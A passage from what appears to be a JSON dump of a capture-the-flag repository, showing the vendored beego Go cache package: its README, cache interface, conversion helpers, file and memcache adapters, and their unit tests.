appConfigPath); err != nil {\n\t\tpanic(err)\n\t}\n\tBConfig.RunMode = \"test\"\n\tinitBeforeHTTPRun()\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/README.md",
    "content": "## cache\ncache is a Go cache manager. It can use many cache adapters. The repo is inspired by `database/sql` .\n\n\n## How to install?\n\n\tgo get github.com/astaxie/beego/cache\n\n\n## What adapters are supported?\n\nAs of now this cache support memory, Memcache and Redis.\n\n\n## How to use it?\n\nFirst you must import it\n\n\timport (\n\t\t\"github.com/astaxie/beego/cache\"\n\t)\n\nThen init a Cache (example with memory adapter)\n\n\tbm, err := cache.NewCache(\"memory\", `{\"interval\":60}`)\t\n\nUse it like this:\t\n\t\n\tbm.Put(\"astaxie\", 1, 10 * time.Second)\n\tbm.Get(\"astaxie\")\n\tbm.IsExist(\"astaxie\")\n\tbm.Delete(\"astaxie\")\n\n\n## Memory adapter\n\nConfigure memory adapter like this:\n\n\t{\"interval\":60}\n\ninterval means the gc time. The cache will check at each time interval, whether item has expired.\n\n\n## Memcache adapter\n\nMemcache adapter use the [gomemcache](http://github.com/bradfitz/gomemcache) client.\n\nConfigure like this:\n\n\t{\"conn\":\"127.0.0.1:11211\"}\n\n\n## Redis adapter\n\nRedis adapter use the [redigo](http://github.com/garyburd/redigo) client.\n\nConfigure like this:\n\n\t{\"conn\":\":6039\"}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/cache.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package cache provide a Cache interface and some implement engine\n// Usage:\n//\n// import(\n//   \"github.com/astaxie/beego/cache\"\n// )\n//\n// bm, err := cache.NewCache(\"memory\", `{\"interval\":60}`)\n//\n// Use it like this:\n//\n//\tbm.Put(\"astaxie\", 1, 10 * time.Second)\n//\tbm.Get(\"astaxie\")\n//\tbm.IsExist(\"astaxie\")\n//\tbm.Delete(\"astaxie\")\n//\n//  more docs http://beego.me/docs/module/cache.md\npackage cache\n\nimport (\n\t\"fmt\"\n\t\"time\"\n)\n\n// Cache interface contains all behaviors for cache adapter.\n// usage:\n//\tcache.Register(\"file\",cache.NewFileCache) // this operation is run in init method of file.go.\n//\tc,err := cache.NewCache(\"file\",\"{....}\")\n//\tc.Put(\"key\",value, 3600 * time.Second)\n//\tv := c.Get(\"key\")\n//\n//\tc.Incr(\"counter\")  // now is 1\n//\tc.Incr(\"counter\")  // now is 2\n//\tcount := c.Get(\"counter\").(int)\ntype Cache interface {\n\t// get cached value by key.\n\tGet(key string) interface{}\n\t// GetMulti is a batch version of Get.\n\tGetMulti(keys []string) []interface{}\n\t// set cached value with key and expire time.\n\tPut(key string, val interface{}, timeout time.Duration) error\n\t// delete cached value by key.\n\tDelete(key string) error\n\t// increase cached int value by key, as a counter.\n\tIncr(key string) error\n\t// decrease cached int value by key, as a counter.\n\tDecr(key string) error\n\t// check if cached value exists or not.\n\tIsExist(key string) bool\n\t// clear all cache.\n\tClearAll() error\n\t// start gc routine based on config string settings.\n\tStartAndGC(config string) error\n}\n\n// Instance is a function create a new Cache Instance\ntype Instance func() Cache\n\nvar adapters = make(map[string]Instance)\n\n// Register makes a cache adapter available by the adapter name.\n// If Register is called twice with the same name or if driver is nil,\n// it panics.\nfunc Register(name string, adapter Instance) {\n\tif adapter == nil {\n\t\tpanic(\"cache: Register adapter is nil\")\n\t}\n\tif _, ok := adapters[name]; ok {\n\t\tpanic(\"cache: Register called twice for adapter \" + name)\n\t}\n\tadapters[name] = adapter\n}\n\n// NewCache Create a new cache driver by adapter name and config string.\n// config need to be correct JSON as string: {\"interval\":360}.\n// it will start gc automatically.\nfunc NewCache(adapterName, config string) (adapter Cache, err error) {\n\tinstanceFunc, ok := adapters[adapterName]\n\tif !ok {\n\t\terr = fmt.Errorf(\"cache: unknown adapter name %q (forgot to import?)\", adapterName)\n\t\treturn\n\t}\n\tadapter = instanceFunc()\n\terr = adapter.StartAndGC(config)\n\tif err != nil {\n\t\tadapter = nil\n\t}\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/cache_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage cache\n\nimport (\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestCache(t *testing.T) {\n\tbm, err := NewCache(\"memory\", `{\"interval\":20}`)\n\tif err != nil {\n\t\tt.Error(\"init err\")\n\t}\n\ttimeoutDuration := 10 * time.Second\n\tif err = bm.Put(\"astaxie\", 1, timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"check err\")\n\t}\n\n\tif v := bm.Get(\"astaxie\"); v.(int) != 1 {\n\t\tt.Error(\"get err\")\n\t}\n\n\ttime.Sleep(30 * time.Second)\n\n\tif bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"check err\")\n\t}\n\n\tif err = bm.Put(\"astaxie\", 1, timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\n\tif err = bm.Incr(\"astaxie\"); err != nil {\n\t\tt.Error(\"Incr Error\", err)\n\t}\n\n\tif v := bm.Get(\"astaxie\"); v.(int) != 2 {\n\t\tt.Error(\"get err\")\n\t}\n\n\tif err = bm.Decr(\"astaxie\"); err != nil {\n\t\tt.Error(\"Decr Error\", err)\n\t}\n\n\tif v := bm.Get(\"astaxie\"); v.(int) != 1 {\n\t\tt.Error(\"get err\")\n\t}\n\tbm.Delete(\"astaxie\")\n\tif bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"delete err\")\n\t}\n\n\t//test GetMulti\n\tif err = bm.Put(\"astaxie\", \"author\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"check err\")\n\t}\n\tif v := bm.Get(\"astaxie\"); v.(string) != \"author\" {\n\t\tt.Error(\"get err\")\n\t}\n\n\tif err = bm.Put(\"astaxie1\", \"author1\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !bm.IsExist(\"astaxie1\") {\n\t\tt.Error(\"check err\")\n\t}\n\n\tvv := bm.GetMulti([]string{\"astaxie\", \"astaxie1\"})\n\tif len(vv) != 2 {\n\t\tt.Error(\"GetMulti ERROR\")\n\t}\n\tif vv[0].(string) != \"author\" {\n\t\tt.Error(\"GetMulti ERROR\")\n\t}\n\tif vv[1].(string) != \"author1\" {\n\t\tt.Error(\"GetMulti ERROR\")\n\t}\n}\n\nfunc TestFileCache(t *testing.T) {\n\tbm, err := NewCache(\"file\", `{\"CachePath\":\"cache\",\"FileSuffix\":\".bin\",\"DirectoryLevel\":2,\"EmbedExpiry\":0}`)\n\tif err != nil {\n\t\tt.Error(\"init err\")\n\t}\n\ttimeoutDuration := 10 * time.Second\n\tif err = bm.Put(\"astaxie\", 1, timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"check err\")\n\t}\n\n\tif v := bm.Get(\"astaxie\"); v.(int) != 1 {\n\t\tt.Error(\"get err\")\n\t}\n\n\tif err = bm.Incr(\"astaxie\"); err != nil {\n\t\tt.Error(\"Incr Error\", err)\n\t}\n\n\tif v := bm.Get(\"astaxie\"); v.(int) != 2 {\n\t\tt.Error(\"get err\")\n\t}\n\n\tif err = bm.Decr(\"astaxie\"); err != nil {\n\t\tt.Error(\"Decr Error\", err)\n\t}\n\n\tif v := bm.Get(\"astaxie\"); v.(int) != 1 {\n\t\tt.Error(\"get err\")\n\t}\n\tbm.Delete(\"astaxie\")\n\tif bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"delete err\")\n\t}\n\n\t//test string\n\tif err = bm.Put(\"astaxie\", \"author\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"check err\")\n\t}\n\tif v := bm.Get(\"astaxie\"); v.(string) != \"author\" {\n\t\tt.Error(\"get err\")\n\t}\n\n\t//test GetMulti\n\tif err = bm.Put(\"astaxie1\", \"author1\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !bm.IsExist(\"astaxie1\") {\n\t\tt.Error(\"check err\")\n\t}\n\n\tvv := bm.GetMulti([]string{\"astaxie\", \"astaxie1\"})\n\tif len(vv) != 2 {\n\t\tt.Error(\"GetMulti ERROR\")\n\t}\n\tif vv[0].(string) != \"author\" {\n\t\tt.Error(\"GetMulti ERROR\")\n\t}\n\tif vv[1].(string) != \"author1\" {\n\t\tt.Error(\"GetMulti ERROR\")\n\t}\n\n\tos.RemoveAll(\"cache\")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/conv.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage cache\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n)\n\n// GetString convert interface to string.\nfunc GetString(v interface{}) string {\n\tswitch result := v.(type) {\n\tcase string:\n\t\treturn result\n\tcase []byte:\n\t\treturn string(result)\n\tdefault:\n\t\tif v != nil {\n\t\t\treturn fmt.Sprint(result)\n\t\t}\n\t}\n\treturn \"\"\n}\n\n// GetInt convert interface to int.\nfunc GetInt(v interface{}) int {\n\tswitch result := v.(type) {\n\tcase int:\n\t\treturn result\n\tcase int32:\n\t\treturn int(result)\n\tcase int64:\n\t\treturn int(result)\n\tdefault:\n\t\tif d := GetString(v); d != \"\" {\n\t\t\tvalue, _ := strconv.Atoi(d)\n\t\t\treturn value\n\t\t}\n\t}\n\treturn 0\n}\n\n// GetInt64 convert interface to int64.\nfunc GetInt64(v interface{}) int64 {\n\tswitch result := v.(type) {\n\tcase int:\n\t\treturn int64(result)\n\tcase int32:\n\t\treturn int64(result)\n\tcase int64:\n\t\treturn result\n\tdefault:\n\n\t\tif d := GetString(v); d != \"\" {\n\t\t\tvalue, _ := strconv.ParseInt(d, 10, 64)\n\t\t\treturn value\n\t\t}\n\t}\n\treturn 0\n}\n\n// GetFloat64 convert interface to float64.\nfunc GetFloat64(v interface{}) float64 {\n\tswitch result := v.(type) {\n\tcase float64:\n\t\treturn result\n\tdefault:\n\t\tif d := GetString(v); d != \"\" {\n\t\t\tvalue, _ := strconv.ParseFloat(d, 64)\n\t\t\treturn value\n\t\t}\n\t}\n\treturn 0\n}\n\n// GetBool convert interface to bool.\nfunc GetBool(v interface{}) bool {\n\tswitch result := v.(type) {\n\tcase bool:\n\t\treturn result\n\tdefault:\n\t\tif d := GetString(v); d != \"\" {\n\t\t\tvalue, _ := strconv.ParseBool(d)\n\t\t\treturn value\n\t\t}\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/conv_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage cache\n\nimport (\n\t\"testing\"\n)\n\nfunc TestGetString(t *testing.T) {\n\tvar t1 = \"test1\"\n\tif \"test1\" != GetString(t1) {\n\t\tt.Error(\"get string from string error\")\n\t}\n\tvar t2 = []byte(\"test2\")\n\tif \"test2\" != GetString(t2) {\n\t\tt.Error(\"get string from byte array error\")\n\t}\n\tvar t3 = 1\n\tif \"1\" != GetString(t3) {\n\t\tt.Error(\"get string from int error\")\n\t}\n\tvar t4 int64 = 1\n\tif \"1\" != GetString(t4) {\n\t\tt.Error(\"get string from int64 error\")\n\t}\n\tvar t5 = 1.1\n\tif \"1.1\" != GetString(t5) {\n\t\tt.Error(\"get string from float64 error\")\n\t}\n\n\tif \"\" != GetString(nil) {\n\t\tt.Error(\"get string from nil error\")\n\t}\n}\n\nfunc TestGetInt(t *testing.T) {\n\tvar t1 = 1\n\tif 1 != GetInt(t1) {\n\t\tt.Error(\"get int from int error\")\n\t}\n\tvar t2 int32 = 32\n\tif 32 != GetInt(t2) {\n\t\tt.Error(\"get int from int32 error\")\n\t}\n\tvar t3 int64 = 64\n\tif 64 != GetInt(t3) {\n\t\tt.Error(\"get int from int64 error\")\n\t}\n\tvar t4 = \"128\"\n\tif 128 != GetInt(t4) {\n\t\tt.Error(\"get int from num string error\")\n\t}\n\tif 0 != GetInt(nil) {\n\t\tt.Error(\"get int from nil error\")\n\t}\n}\n\nfunc TestGetInt64(t *testing.T) {\n\tvar i int64 = 1\n\tvar t1 = 1\n\tif i != GetInt64(t1) {\n\t\tt.Error(\"get int64 from int error\")\n\t}\n\tvar t2 int32 = 1\n\tif i != GetInt64(t2) {\n\t\tt.Error(\"get int64 from int32 error\")\n\t}\n\tvar t3 int64 = 1\n\tif i != GetInt64(t3) {\n\t\tt.Error(\"get int64 from int64 error\")\n\t}\n\tvar t4 = \"1\"\n\tif i != GetInt64(t4) {\n\t\tt.Error(\"get int64 from num string error\")\n\t}\n\tif 0 != GetInt64(nil) {\n\t\tt.Error(\"get int64 from nil\")\n\t}\n}\n\nfunc TestGetFloat64(t *testing.T) {\n\tvar f = 1.11\n\tvar t1 float32 = 1.11\n\tif f != GetFloat64(t1) {\n\t\tt.Error(\"get float64 from float32 error\")\n\t}\n\tvar t2 = 1.11\n\tif f != GetFloat64(t2) {\n\t\tt.Error(\"get float64 from float64 error\")\n\t}\n\tvar t3 = \"1.11\"\n\tif f != GetFloat64(t3) {\n\t\tt.Error(\"get float64 from string error\")\n\t}\n\n\tvar f2 float64 = 1\n\tvar t4 = 1\n\tif f2 != GetFloat64(t4) {\n\t\tt.Error(\"get float64 from int error\")\n\t}\n\n\tif 0 != GetFloat64(nil) {\n\t\tt.Error(\"get float64 from nil error\")\n\t}\n}\n\nfunc TestGetBool(t *testing.T) {\n\tvar t1 = true\n\tif !GetBool(t1) {\n\t\tt.Error(\"get bool from bool error\")\n\t}\n\tvar t2 = \"true\"\n\tif !GetBool(t2) {\n\t\tt.Error(\"get bool from string error\")\n\t}\n\tif GetBool(nil) {\n\t\tt.Error(\"get bool from nil error\")\n\t}\n}\n\nfunc byteArrayEquals(a []byte, b []byte) bool {\n\tif len(a) != len(b) {\n\t\treturn false\n\t}\n\tfor i, v := range a {\n\t\tif v != b[i] {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/file.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage cache\n\nimport (\n\t\"bytes\"\n\t\"crypto/md5\"\n\t\"encoding/gob\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"strconv\"\n\t\"time\"\n)\n\n// FileCacheItem is basic unit of file cache adapter.\n// it contains data and expire time.\ntype FileCacheItem struct {\n\tData       interface{}\n\tLastaccess time.Time\n\tExpired    time.Time\n}\n\n// FileCache Config\nvar (\n\tFileCachePath           = \"cache\"     // cache directory\n\tFileCacheFileSuffix     = \".bin\"      // cache file suffix\n\tFileCacheDirectoryLevel = 2           // cache file deep level if auto generated cache files.\n\tFileCacheEmbedExpiry    time.Duration // cache expire time, default is no expire forever.\n)\n\n// FileCache is cache adapter for file storage.\ntype FileCache struct {\n\tCachePath      string\n\tFileSuffix     string\n\tDirectoryLevel int\n\tEmbedExpiry    int\n}\n\n// NewFileCache Create new file cache with no config.\n// the level and expiry need set in method StartAndGC as config string.\nfunc NewFileCache() Cache {\n\t//    return &FileCache{CachePath:FileCachePath, FileSuffix:FileCacheFileSuffix}\n\treturn &FileCache{}\n}\n\n// StartAndGC will start and begin gc for file cache.\n// the config need to be like {CachePath:\"/cache\",\"FileSuffix\":\".bin\",\"DirectoryLevel\":2,\"EmbedExpiry\":0}\nfunc (fc *FileCache) StartAndGC(config string) error {\n\n\tvar cfg map[string]string\n\tjson.Unmarshal([]byte(config), &cfg)\n\tif _, ok := cfg[\"CachePath\"]; !ok {\n\t\tcfg[\"CachePath\"] = FileCachePath\n\t}\n\tif _, ok := cfg[\"FileSuffix\"]; !ok {\n\t\tcfg[\"FileSuffix\"] = FileCacheFileSuffix\n\t}\n\tif _, ok := cfg[\"DirectoryLevel\"]; !ok {\n\t\tcfg[\"DirectoryLevel\"] = strconv.Itoa(FileCacheDirectoryLevel)\n\t}\n\tif _, ok := cfg[\"EmbedExpiry\"]; !ok {\n\t\tcfg[\"EmbedExpiry\"] = strconv.FormatInt(int64(FileCacheEmbedExpiry.Seconds()), 10)\n\t}\n\tfc.CachePath = cfg[\"CachePath\"]\n\tfc.FileSuffix = cfg[\"FileSuffix\"]\n\tfc.DirectoryLevel, _ = strconv.Atoi(cfg[\"DirectoryLevel\"])\n\tfc.EmbedExpiry, _ = strconv.Atoi(cfg[\"EmbedExpiry\"])\n\n\tfc.Init()\n\treturn nil\n}\n\n// Init will make new dir for file cache if not exist.\nfunc (fc *FileCache) Init() {\n\tif ok, _ := exists(fc.CachePath); !ok { // todo : error handle\n\t\t_ = os.MkdirAll(fc.CachePath, os.ModePerm) // todo : error handle\n\t}\n}\n\n// get cached file name. it's md5 encoded.\nfunc (fc *FileCache) getCacheFileName(key string) string {\n\tm := md5.New()\n\tio.WriteString(m, key)\n\tkeyMd5 := hex.EncodeToString(m.Sum(nil))\n\tcachePath := fc.CachePath\n\tswitch fc.DirectoryLevel {\n\tcase 2:\n\t\tcachePath = filepath.Join(cachePath, keyMd5[0:2], keyMd5[2:4])\n\tcase 1:\n\t\tcachePath = filepath.Join(cachePath, keyMd5[0:2])\n\t}\n\n\tif ok, _ := exists(cachePath); !ok { // todo : error handle\n\t\t_ = os.MkdirAll(cachePath, os.ModePerm) // todo : error handle\n\t}\n\n\treturn filepath.Join(cachePath, fmt.Sprintf(\"%s%s\", keyMd5, fc.FileSuffix))\n}\n\n// Get value from file cache.\n// if non-exist or expired, return empty string.\nfunc (fc *FileCache) Get(key string) interface{} {\n\tfileData, err := FileGetContents(fc.getCacheFileName(key))\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\tvar to FileCacheItem\n\tGobDecode(fileData, &to)\n\tif to.Expired.Before(time.Now()) {\n\t\treturn \"\"\n\t}\n\treturn to.Data\n}\n\n// GetMulti gets values from file cache.\n// if non-exist or expired, return empty string.\nfunc (fc *FileCache) GetMulti(keys []string) []interface{} {\n\tvar rc []interface{}\n\tfor _, key := range keys {\n\t\trc = append(rc, fc.Get(key))\n\t}\n\treturn rc\n}\n\n// Put value into file cache.\n// timeout means how long to keep this file, unit of ms.\n// if timeout equals FileCacheEmbedExpiry(default is 0), cache this item forever.\nfunc (fc *FileCache) Put(key string, val interface{}, timeout time.Duration) error {\n\tgob.Register(val)\n\n\titem := FileCacheItem{Data: val}\n\tif timeout == FileCacheEmbedExpiry {\n\t\titem.Expired = time.Now().Add((86400 * 365 * 10) * time.Second) // ten years\n\t} else {\n\t\titem.Expired = time.Now().Add(timeout)\n\t}\n\titem.Lastaccess = time.Now()\n\tdata, err := GobEncode(item)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn FilePutContents(fc.getCacheFileName(key), data)\n}\n\n// Delete file cache value.\nfunc (fc *FileCache) Delete(key string) error {\n\tfilename := fc.getCacheFileName(key)\n\tif ok, _ := exists(filename); ok {\n\t\treturn os.Remove(filename)\n\t}\n\treturn nil\n}\n\n// Incr will increase cached int value.\n// fc value is saving forever unless Delete.\nfunc (fc *FileCache) Incr(key string) error {\n\tdata := fc.Get(key)\n\tvar incr int\n\tif reflect.TypeOf(data).Name() != \"int\" {\n\t\tincr = 0\n\t} else {\n\t\tincr = data.(int) + 1\n\t}\n\tfc.Put(key, incr, FileCacheEmbedExpiry)\n\treturn nil\n}\n\n// Decr will decrease cached int value.\nfunc (fc *FileCache) Decr(key string) error {\n\tdata := fc.Get(key)\n\tvar decr int\n\tif reflect.TypeOf(data).Name() != \"int\" || data.(int)-1 <= 0 {\n\t\tdecr = 0\n\t} else {\n\t\tdecr = data.(int) - 1\n\t}\n\tfc.Put(key, decr, FileCacheEmbedExpiry)\n\treturn nil\n}\n\n// IsExist check value is exist.\nfunc (fc *FileCache) IsExist(key string) bool {\n\tret, _ := exists(fc.getCacheFileName(key))\n\treturn ret\n}\n\n// ClearAll will clean cached files.\n// not implemented.\nfunc (fc *FileCache) ClearAll() error {\n\treturn nil\n}\n\n// check file exist.\nfunc exists(path string) (bool, error) {\n\t_, err := os.Stat(path)\n\tif err == nil {\n\t\treturn true, nil\n\t}\n\tif os.IsNotExist(err) {\n\t\treturn false, nil\n\t}\n\treturn false, err\n}\n\n// FileGetContents Get bytes to file.\n// if non-exist, create this file.\nfunc FileGetContents(filename string) (data []byte, e error) {\n\treturn ioutil.ReadFile(filename)\n}\n\n// FilePutContents Put bytes to file.\n// if non-exist, create this file.\nfunc FilePutContents(filename string, content []byte) error {\n\treturn ioutil.WriteFile(filename, content, os.ModePerm)\n}\n\n// GobEncode Gob encodes file cache item.\nfunc GobEncode(data interface{}) ([]byte, error) {\n\tbuf := bytes.NewBuffer(nil)\n\tenc := gob.NewEncoder(buf)\n\terr := enc.Encode(data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), err\n}\n\n// GobDecode Gob decodes file cache item.\nfunc GobDecode(data []byte, to *FileCacheItem) error {\n\tbuf := bytes.NewBuffer(data)\n\tdec := gob.NewDecoder(buf)\n\treturn dec.Decode(&to)\n}\n\nfunc init() {\n\tRegister(\"file\", NewFileCache)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/memcache/memcache.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package memcache for cache provider\n//\n// depend on github.com/bradfitz/gomemcache/memcache\n//\n// go install github.com/bradfitz/gomemcache/memcache\n//\n// Usage:\n// import(\n//   _ \"github.com/astaxie/beego/cache/memcache\"\n//   \"github.com/astaxie/beego/cache\"\n// )\n//\n//  bm, err := cache.NewCache(\"memcache\", `{\"conn\":\"127.0.0.1:11211\"}`)\n//\n//  more docs http://beego.me/docs/module/cache.md\npackage memcache\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego/cache\"\n\t\"github.com/bradfitz/gomemcache/memcache\"\n)\n\n// Cache Memcache adapter.\ntype Cache struct {\n\tconn     *memcache.Client\n\tconninfo []string\n}\n\n// NewMemCache create new memcache adapter.\nfunc NewMemCache() cache.Cache {\n\treturn &Cache{}\n}\n\n// Get get value from memcache.\nfunc (rc *Cache) Get(key string) interface{} {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif item, err := rc.conn.Get(key); err == nil {\n\t\treturn item.Value\n\t}\n\treturn nil\n}\n\n// GetMulti get value from memcache.\nfunc (rc *Cache) GetMulti(keys []string) []interface{} {\n\tsize := len(keys)\n\tvar rv []interface{}\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\tfor i := 0; i < size; i++ {\n\t\t\t\trv = append(rv, err)\n\t\t\t}\n\t\t\treturn rv\n\t\t}\n\t}\n\tmv, err := rc.conn.GetMulti(keys)\n\tif err == nil {\n\t\tfor _, v := range mv {\n\t\t\trv = append(rv, v.Value)\n\t\t}\n\t\treturn rv\n\t}\n\tfor i := 0; i < size; i++ {\n\t\trv = append(rv, err)\n\t}\n\treturn rv\n}\n\n// Put put value to memcache.\nfunc (rc *Cache) Put(key string, val interface{}, timeout time.Duration) error {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\titem := memcache.Item{Key: key, Expiration: int32(timeout / time.Second)}\n\tif v, ok := val.([]byte); ok {\n\t\titem.Value = v\n\t} else if str, ok := val.(string); ok {\n\t\titem.Value = []byte(str)\n\t} else {\n\t\treturn errors.New(\"val only support string and []byte\")\n\t}\n\treturn rc.conn.Set(&item)\n}\n\n// Delete delete value in memcache.\nfunc (rc *Cache) Delete(key string) error {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn rc.conn.Delete(key)\n}\n\n// Incr increase counter.\nfunc (rc *Cache) Incr(key string) error {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t_, err := rc.conn.Increment(key, 1)\n\treturn err\n}\n\n// Decr decrease counter.\nfunc (rc *Cache) Decr(key string) error {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t_, err := rc.conn.Decrement(key, 1)\n\treturn err\n}\n\n// IsExist check value exists in memcache.\nfunc (rc *Cache) IsExist(key string) bool {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn false\n\t\t}\n\t}\n\t_, err := rc.conn.Get(key)\n\treturn !(err != nil)\n}\n\n// ClearAll clear all cached in memcache.\nfunc (rc *Cache) ClearAll() error {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn rc.conn.FlushAll()\n}\n\n// StartAndGC start memcache adapter.\n// config string is like {\"conn\":\"connection info\"}.\n// if connecting error, return.\nfunc (rc *Cache) StartAndGC(config string) error {\n\tvar cf map[string]string\n\tjson.Unmarshal([]byte(config), &cf)\n\tif _, ok := cf[\"conn\"]; !ok {\n\t\treturn errors.New(\"config has no conn key\")\n\t}\n\trc.conninfo = strings.Split(cf[\"conn\"], \";\")\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// connect to memcache and keep the connection.\nfunc (rc *Cache) connectInit() error {\n\trc.conn = memcache.New(rc.conninfo...)\n\treturn nil\n}\n\nfunc init() {\n\tcache.Register(\"memcache\", NewMemCache)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/memcache/memcache_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage memcache\n\nimport (\n\t_ \"github.com/bradfitz/gomemcache/memcache\"\n\n\t\"strconv\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego/cache\"\n)\n\nfunc TestMemcacheCache(t *testing.T) {\n\tbm, err := cache.NewCache(\"memcache\", `{\"conn\": \"127.0.0.1:11211\"}`)\n\tif err != nil 